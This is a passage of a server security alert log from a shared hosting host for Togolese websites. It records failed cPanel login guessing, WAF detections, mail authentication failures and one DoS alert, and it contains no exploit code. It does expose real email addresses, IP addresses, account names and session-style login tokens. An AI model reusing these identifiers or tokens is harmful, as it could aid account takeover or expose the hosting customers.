[2026-06-26 15:44:06 +0000] info [cpaneld] 138.117.55.161 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.20.103
country_id: 3469034
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.252.20.103||TA:104.252.20.103||


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 172.174.118.36
country_id: 6252001
description:
Jun 26 15:43:19 ns5 pure-ftpd[485579]: (administrateur@mig.tg@172.174.118.36) [NOTICE] //home/emupgdkn/migFTP/public_html/mig_consulting/.editorconfig uploaded  (252 bytes, 1.39KB/sec)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.79.158.17
country_id: 2017370
description:
[2026-06-26 15:43:58 +0000] info [cpaneld] 77.79.158.17 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.72.24.13
country_id: 3469034
description:
[2026-06-26 15:44:03 +0000] info [cpaneld] 177.72.24.13 - ciieeinternational "GET /login/?login_only=1&user=ciieeinternational&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternational (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.79
country_id: 1880251
description:
43.173.176.79 - - [26/Jun/2026:15:43:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066330&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Feconomie%25252Fjournee-mondiale-de-lingenieur-message-du-president-de-lordre-dammipi-noupokou%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782488616 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2F24heureinfo.tg%2Feconomie%2Fjournee-mondiale-de-lingenieur-message-du-president-de-lordre-dammipi-noupokou%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.79


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.226.165.128
country_id: 2017370
description:
[2026-06-26 15:44:14 +0000] info [cpaneld] 91.226.165.128 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.189.38.55
country_id: 1562822
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/partenaire HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.143.183.252
country_id: 1210997
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/societe HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.227.219.42
country_id: 3469034
description:
[2026-06-26 15:44:29 +0000] info [cpaneld] 186.227.219.42 - ciie "GET /login/?login_only=1&user=ciie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.112.206.212
country_id: 1210997
description:
[2026-06-26 15:44:40 +0000] info [cpaneld] 103.112.206.212 - ci "GET /login/?login_only=1&user=ci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.131.229.195
country_id: 3469034
description:
[2026-06-26 15:44:24 +0000] info [cpaneld] 177.131.229.195 - ciiee "GET /login/?login_only=1&user=ciiee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciiee (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.170.49.64
country_id: 2363686
domain: www.dagl.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<p style=\"text-align:justify;\"><span style=\"font-family: calibri, sans-serif; font-size: 19px; background-color: initial;\">madame zour&eacute;hatou kassah-traor&eacute;, gouverneur du district autonome du grand lom&eacute; (dagl), a re&ccedil;u le jeudi 25 juin, une d&eacute;l&eacute;gation de l&rsquo;ong aimes-afrique conduite par son pr&eacute;sident, le dr michel kodom. cette rencontre s&rsquo;inscrit dans le cadre d&rsquo;une tourn&eacute;e institutionnelle visant &agrave; exposer aux autorit&eacute;s locales les initiatives de promotion de la sant&eacute; en milieu scolaire d&eacute;ploy&eacute;es par ladite organisation.</span></p><p style=\"text-align:justify;\"><br></p><p style=\"text-align:justify;\"><img src=\"https://www.dagl.tg/resources/editors/uploads/b7df7ba94992391505c1389697f645602ea69e55.jpg\" style=\"width: 1168px;\" class=\"fr-fic fr-dib\"></p><p style=\"text-align:justify;\"><br></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>la d&eacute;l&eacute;gation a &eacute;t&eacute; re&ccedil;ue par madame le gouverneur du dagl, qui &eacute;tait entour&eacute;e pour l&#39;occasion de ses collaborateurs. etaient &eacute;galement pr&eacute;sents &agrave; cette s&eacute;ance de travail, les pr&eacute;fets du golfe et d&rsquo;ago&egrave;-nyiv&eacute;, les maires et &eacute;lus locaux du grand lom&eacute;, le directeur des libert&eacute;s publiques et des affaires politiques, les directeurs r&eacute;gionaux de l&rsquo;&eacute;ducation et de la sant&eacute;, ainsi que le repr&eacute;sentant du directeur r&eacute;gional de l&rsquo;action sociale du grand lom&eacute;.</span></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>les &eacute;changes ont essentiellement port&eacute; sur la vision ainsi que sur les modalit&eacute;s de cr&eacute;ation et de d&eacute;ploiement des &laquo; clubs sant&eacute; sos docteur tv &raquo;. une pr&eacute;sentation a permis d&rsquo;examiner les divers axes strat&eacute;giques mis en &oelig;uvre afin de redynamiser la vie scolaire au sein des &eacute;tablissements d&rsquo;enseignement secondaire.</span></p><p style=\"text-align:justify;\"><br></p><p style=\"text-align:justify;\"><img src=\"https://www.dagl.tg/resources/editors/uploads/b8e4307955d9abcbd25b0164fce6c7720f941cb9.jpg\" style=\"width: 1143px;\" class=\"fr-fic fr-dib\"></p><p style=\"text-align:justify;\"><br></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>port&eacute;s par l&rsquo;ong aimes-afrique, ces clubs ont pour vocation de promouvoir une culture de l&rsquo;&eacute;ducation sanitaire, de renforcer la pr&eacute;vention des pathologies et d&#39;encourager l&rsquo;adoption de comportements vertueux en mati&egrave;re de sant&eacute; chez les jeunes. ces structures se con&ccedil;oivent &eacute;galement comme un incubateur de vocations pour stimuler le leadership, l&rsquo;engagement civique et l&rsquo;&eacute;panouissement personnel des apprenants.</span></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>la d&eacute;l&eacute;gation a profit&eacute; de cette tribune pour dresser le bilan des avanc&eacute;es notables enregistr&eacute;es au sein des &eacute;tablissements pilotes. elle a mis un accent particulier sur le concours de culture g&eacute;n&eacute;rale en sant&eacute; d&eacute;nomm&eacute; &laquo; g&eacute;nie imhotep &raquo;, qui demeure l&rsquo;un des piliers majeurs de ce programme.</span></p><p style=\"text-align:justify;\"><br></p><p style=\"text-align:justify;\"><img src=\"https://www.dagl.tg/resources/editors/uploads/c64cb70d4570f264f02863f044a7c6c5ba90ab63.jpg\" style=\"width: 1149px;\" class=\"fr-fic fr-dib\"></p><p style=\"text-align:justify;\"><br></p><p style=\"text-align:justify;\"><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>en guise de conclusion, madame le gouverneur du dagl a tenu &agrave; saluer l&rsquo;impact des actions men&eacute;es par l&rsquo;ong aimes-afrique en milieu scolaire. elle a exhort&eacute; l&rsquo;ensemble des parties prenantes &agrave; conjuguer leurs efforts pour garantir le succ&egrave;s de cet ambitieux projet, pour faire des &eacute;l&egrave;ves des leaders de demain pour le d&eacute;veloppement du togo.</span></p><p style=\"text-align:justify;\"><strong><span style='font-size:19px;font-family:\"calibri\",sans-serif;'>cellule communication dagl</span></strong></p><p style=\"text-align:justify;\"><br></p>||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.6.47.230
country_id: 3625428
description:
[2026-06-26 15:44:33 +0000] info [cpaneld] 190.6.47.230 - cii "GET /login/?login_only=1&user=cii&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cii (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.197.57
country_id: 1880251
description:
43.172.197.57 - - [26/Jun/2026:15:47:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053729&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fprefcet-atabuh%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782488863 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/prefcet-atabuh/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.197.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.12
country_id: 1814991
description:
123.6.49.12 - - [26/Jun/2026:15:47:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12961940&pdata=https%253A%252F%252Ftogodailynews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782488878 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.12


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.219.93
country_id: 3017382
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.219.93||TA:104.253.219.93||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 94.176.212.161
country_id: 3175395
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:94.176.212.161||TA:94.176.212.161||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.114.40
country_id: 2363686
domain: agou1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-06-26 15:50:08 H=([77.83.39.59]) [77.83.39.59]:56311 F=<office@bluemarine-services.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.82.253.74
country_id: 1168579
description:
[2026-06-26 15:50:36 +0000] info [cpaneld] 103.82.253.74 - matosshoptg "GET /login/?login_only=1&user=matosshoptg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matosshoptg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.58.94.64
country_id: 6252001
description:
[2026-06-26 15:50:41 +0000] info [cpaneld] 184.58.94.64 - camegt "GET /login/?login_only=1&user=camegt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.62.154.40
country_id: 3469034
description:
[2026-06-26 15:50:49 +0000] info [cpaneld] 187.62.154.40 - matoss "GET /login/?login_only=1&user=matoss&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matoss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.219.159.214
country_id: 6252001
description:
[2026-06-26 15:50:55 +0000] info [cpaneld] 47.219.159.214 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.200.194.139
country_id: 6252001
description:
[2026-06-26 15:50:26 +0000] info [cpaneld] 72.200.194.139 - camegtogo "GET /login/?login_only=1&user=camegtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.177.87.86
country_id: 6252001
description:
[2026-06-26 15:50:37 +0000] info [cpaneld] 73.177.87.86 - camegto "GET /login/?login_only=1&user=camegto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.236.24.40
country_id: 3686110
description:
[2026-06-26 15:50:52 +0000] info [cpaneld] 181.236.24.40 - matos "GET /login/?login_only=1&user=matos&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matos (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.124.19.137
country_id: 2017370
description:
[2026-06-26 15:51:03 +0000] info [cpaneld] 212.124.19.137 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.196.149.96
country_id: 6252001
description:
[2026-06-26 15:50:21 +0000] info [cpaneld] 98.196.149.96 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.32.160.187
country_id: 6252001
description:
[2026-06-26 15:50:34 +0000] info [cpaneld] 65.32.160.187 - camegtog "GET /login/?login_only=1&user=camegtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user camegtog (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-06-26 15:52:31 H=([77.83.39.59]) [77.83.39.59]:57615 F=<mei7@convertec.com.tw> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.45
country_id: 1814991
description:
27.115.124.45 - - [26/Jun/2026:15:52:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066024&pdata=https%253A%252F%252Ftogodailynews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782489160 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.45


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.67.25.31
country_id: 6252001
domain: tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-26 15:55:09 +0000] info [whostmgrd] 80.248.64.198 NEW mgvybwur:fk7LHOjGpb6c71g4 address=80.248.64.198,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.79.205
country_id: 6252001
description:
47.251.79.205 - - [26/Jun/2026:16:00:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646165&pdata=https%253A%252F%252F154.70.82.246%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782489635 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.79.205


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.88.238
country_id: 6252001
description:
47.251.88.238 - - [26/Jun/2026:16:00:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12961434&pdata=https%253A%252F%252Ftogomedia24.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782489637 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.88.238


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.246.29
country_id: 6252001
description:
47.89.246.29 - - [26/Jun/2026:16:00:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790254&pdata=https%253A%252F%252Fdagl.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782489654 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.89.246.29


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.165.115.90
country_id: 290557
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/www.gtaassurances.net HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.89.134
country_id: 6252001
description:
47.251.89.134 - - [26/Jun/2026:16:00:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921580&pdata=https%253A%252F%252Fwww.conseilnsaftogo.org%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782489646 HTTP/2.0" 302 0 www.conseilnsaftogo.org "https://www.conseilnsaftogo.org:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.89.134


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.76
country_id: 3469034
description:
Jun 26 16:00:58 ns5 auth[393837]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.76 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.30.177.116
country_id: 1269750
description:
2026-06-26 16:03:11 dovecot_plain authenticator failed for H=(localhost) [113.30.177.116]:48891: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.219.197
country_id: 2363686
description:
[2026-06-26 16:04:12 +0000] info [webmaild] 196.168.219.197 - presidence@ucao-uut.tg "POST /cpsess3335621808/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.176.253.226] != Current IP Address [196.168.219.197]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.176
country_id: 6252001
description:
[2026-06-26 16:04:44 +0000] info [cpaneld] 181.215.65.176 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.221.188
country_id: 2363686
description:
[2026-06-26 16:08:00 +0000] info [cpaneld] 102.64.221.188 NEW mgvybwur:QgJFueAKN2D53jpu address=102.64.221.188,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 64.137.121.140
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:64.137.121.140||TA:64.137.121.140||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.221.188
country_id: 2363686
description:
[2026-06-26 16:07:57 +0000] info [cpaneld] 102.64.221.188 - mgvybwur "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 13.57.204.65
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 13.57.204.65: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [06/26/2026:16:09:22 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.42.245.169
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.42.245.169||TA:193.42.245.169||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.148.177
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:148.135.148.177||TA:148.135.148.177||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.147
country_id: 1880251
description:
43.173.175.147 - - [26/Jun/2026:16:11:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870226&pdata=https%253A%252F%252F24heureinfo.tg%252Feducation%252Fstatistique-sociales-appliquees-uk-a-valide-loffre-de-formation-licence&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782490260 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/education/statistique-sociales-appliquees-uk-a-valide-loffre-de-formation-licence" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.147


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.34.29.145
country_id: 1168579
description:
2026-06-26 16:11:19 dovecot_plain authenticator failed for H=(localhost) [39.34.29.145]:50271: 535 Incorrect authentication data (set_id=muzikplus@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.150.134.183
country_id: 285570
description:
[2026-06-26 16:12:36 +0000] info [cpaneld] 62.150.134.183 - cecaptg "GET /login/?login_only=1&user=cecaptg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cecaptg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.194.246.217
country_id: 3865483
description:
[2026-06-26 16:12:41 +0000] info [cpaneld] 190.194.246.217 - ceca "GET /login/?login_only=1&user=ceca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ceca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.204.254.191
country_id: 3686110
description:
[2026-06-26 16:12:45 +0000] info [cpaneld] 152.204.254.191 - cec "GET /login/?login_only=1&user=cec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.119.155
country_id: 1733045
description:
[2026-06-26 16:12:26 +0000] info [cpaneld] 161.142.119.155 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.216.62
country_id: 2363686
description:
[2026-06-26 16:12:31 +0000] info [cpaneld] 102.64.216.62 - cecap "GET /login/?login_only=1&user=cecap&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cecap (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.3.50.131
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-13.45.3.50.131||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.32.128.3
country_id: 3686110
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/donnee HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.181.136
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:191.101.181.136||TA:191.101.181.136||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 89.249.195.119
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:89.249.195.119||TA:89.249.195.119||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.55.122
country_id: 2658434
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.55.122||TA:104.253.55.122||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [06/26/2026:16:19:01 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.77.133
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.77.133||TA:104.253.77.133||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.189.219.18
country_id: 1210997
description:
103.189.219.18 - - [26/Jun/2026:16:19:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119525&pdata=https%253A%252F%252Fcfpj.tg%252Fyedk-51283zetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782490756 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/yedk-51283zetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.189.219.18


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.44.196
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/btp-et-medias-une-synergie-pour-la-transparence/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
